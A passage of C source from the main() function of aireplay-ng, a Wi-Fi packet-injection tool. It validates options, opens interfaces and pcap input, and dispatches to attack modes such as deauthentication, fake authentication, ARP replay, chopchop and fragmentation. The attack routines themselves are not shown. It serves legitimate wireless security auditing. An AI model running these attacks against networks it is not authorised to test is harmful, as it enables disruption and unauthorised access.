								  _BETA,
								  _RC));
				return (1);

			case 'R':

				opt.rtc = 0;
				break;

			default:
				goto usage;
		}
	}

	if (argc - optind != 1)
	{
		if (argc == 1)
		{
		usage:
			printf(usage,
				   getVersion("Aireplay-ng",
							  _MAJ,
							  _MIN,
							  _SUB_MIN,
							  _REVISION,
							  _BETA,
							  _RC));
		}
		if (argc - optind == 0)
		{
			printf("No replay interface specified.\n");
		}
		if (argc > 1)
		{
			printf("\"%s --help\" for help.\n", argv[0]);
		}
		return (1);
	}

	if (opt.a_mode == -1)
	{
		printf("Please specify an attack mode.\n");
		printf("\"%s --help\" for help.\n", argv[0]);
		return (1);
	}

	if ((opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen)
	{
		printf("Invalid length filter (min(-m):%d > max(-n):%d).\n",
			   opt.f_minlen,
			   opt.f_maxlen);
		printf("\"%s --help\" for help.\n", argv[0]);
		return (1);
	}

	if (opt.f_tods == 1 && opt.f_fromds == 1)
	{
		printf("FromDS and ToDS bit are set: packet has to come from the AP "
			   "and go to the AP\n");
	}

	dev.fd_rtc = -1;

/* open the RTC device if necessary */

#if defined(__i386__)
#if defined(linux)
	if (opt.a_mode > 1)
	{
		if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
		{
			dev.fd_rtc = 0;
		}

		if ((dev.fd_rtc == 0)
			&& ((dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0))
		{
			dev.fd_rtc = 0;
		}
		if (opt.rtc == 0)
		{
			dev.fd_rtc = -1;
		}
		if (dev.fd_rtc > 0)
		{
			if (ioctl(dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION) < 0)
			{
				perror("ioctl(RTC_IRQP_SET) failed");
				printf("Make sure enhanced rtc device support is enabled in "
					   "the kernel (module\n"
					   "rtc, not genrtc) - also try 'echo 1024 "
					   ">/proc/sys/dev/rtc/max-user-freq'.\n");
				close(dev.fd_rtc);
				dev.fd_rtc = -1;
			}
			else
			{
				if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
				{
					perror("ioctl(RTC_PIE_ON) failed");
					close(dev.fd_rtc);
					dev.fd_rtc = -1;
				}
			}
		}
		else
		{
			printf("For information, no action required:"
				   " Using gettimeofday() instead of /dev/rtc\n");
			dev.fd_rtc = -1;
		}
	}
#endif /* linux */
#endif /* i386 */

	opt.iface_out = argv[optind];
	opt.port_out
		= get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out) - 1);

	// don't open interface(s) when using test mode and airserv
	if (!(opt.a_mode == 9 && opt.port_out >= 0))
	{
		/* open the replay interface */
		_wi_out = wi_open(opt.iface_out);
		if (!_wi_out) return 1;
		dev.fd_out = wi_fd(_wi_out);

		/* open the packet source */
		if (opt.s_face != NULL)
		{
			// don't open interface(s) when using test mode and airserv
			if (!(opt.a_mode == 9 && opt.port_in >= 0))
			{
				_wi_in = wi_open(opt.s_face);
				if (!_wi_in) return 1;
				dev.fd_in = wi_fd(_wi_in);
				wi_get_mac(_wi_in, dev.mac_in);
			}
		}
		else
		{
			_wi_in = _wi_out;
			dev.fd_in = dev.fd_out;

			/* XXX */
			dev.arptype_in = dev.arptype_out;
			wi_get_mac(_wi_in, dev.mac_in);
		}

		wi_get_mac(_wi_out, dev.mac_out);
	}

	/* drop privileges */
	if (setuid(getuid()) == -1)
	{
		perror("setuid");
	}

	/* XXX */
	if (opt.r_nbpps == 0)
	{
		if (dev.is_wlanng || dev.is_hostap)
			opt.r_nbpps = 200;
		else
			opt.r_nbpps = 500;
	}

	if (opt.s_file != NULL)
	{
		if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
		{
			perror("open failed");
			return (1);
		}

		n = sizeof(struct pcap_file_header);

		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
		{
			perror("fread(pcap file header) failed");
			return (1);
		}

		if (dev.pfh_in.magic != TCPDUMP_MAGIC
			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
		{
			fprintf(stderr,
					"\"%s\" isn't a pcap file (expected "
					"TCPDUMP_MAGIC).\n",
					opt.s_file);
			return (1);
		}

		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);

		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
		{
			fprintf(stderr,
					"Wrong linktype from pcap file header "
					"(expected LINKTYPE_IEEE802_11) -\n"
					"this doesn't look like a regular 802.11 "
					"capture.\n");
			return (1);
		}
	}

	// if there is no -h given, use default hardware mac
	if (maccmp(opt.r_smac, NULL_MAC) == 0)
	{
		memcpy(opt.r_smac, dev.mac_out, 6);
		if (opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
		{
			printf("No source MAC (-h) specified. Using the device MAC "
				   "(%02X:%02X:%02X:%02X:%02X:%02X)\n",
				   dev.mac_out[0],
				   dev.mac_out[1],
				   dev.mac_out[2],
				   dev.mac_out[3],
				   dev.mac_out[4],
				   dev.mac_out[5]);
		}
	}

	if (maccmp(opt.r_smac, dev.mac_out) != 0
		&& maccmp(opt.r_smac, NULL_MAC) != 0)
	{
		//        if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment
		//        to work on madwifi[-ng], set the interface MAC according to
		//        (-h)!\n");
		fprintf(stderr,
				"The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
				" doesn't match the specified MAC (-h).\n"
				"\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
				dev.mac_out[0],
				dev.mac_out[1],
				dev.mac_out[2],
				dev.mac_out[3],
				dev.mac_out[4],
				dev.mac_out[5],
				opt.iface_out,
				opt.r_smac[0],
				opt.r_smac[1],
				opt.r_smac[2],
				opt.r_smac[3],
				opt.r_smac[4],
				opt.r_smac[5]);
	}

	switch (opt.a_mode)
	{
		case 0:
			return (do_attack_deauth());
		case 1:
			return (do_attack_fake_auth());
		case 2:
			return (do_attack_interactive());
		case 3:
			return (do_attack_arp_resend());
		case 4:
			return (do_attack_chopchop());
		case 5:
			return (do_attack_fragment());
		case 6:
			return (do_attack_caffe_latte());
		case 7:
			return (do_attack_cfrag());
		case 8:
			return (do_attack_migmode());
		case 9:
			return (do_attack_test());
		default:
			break;
	}

	/* that's all, folks */

	return (0);
}
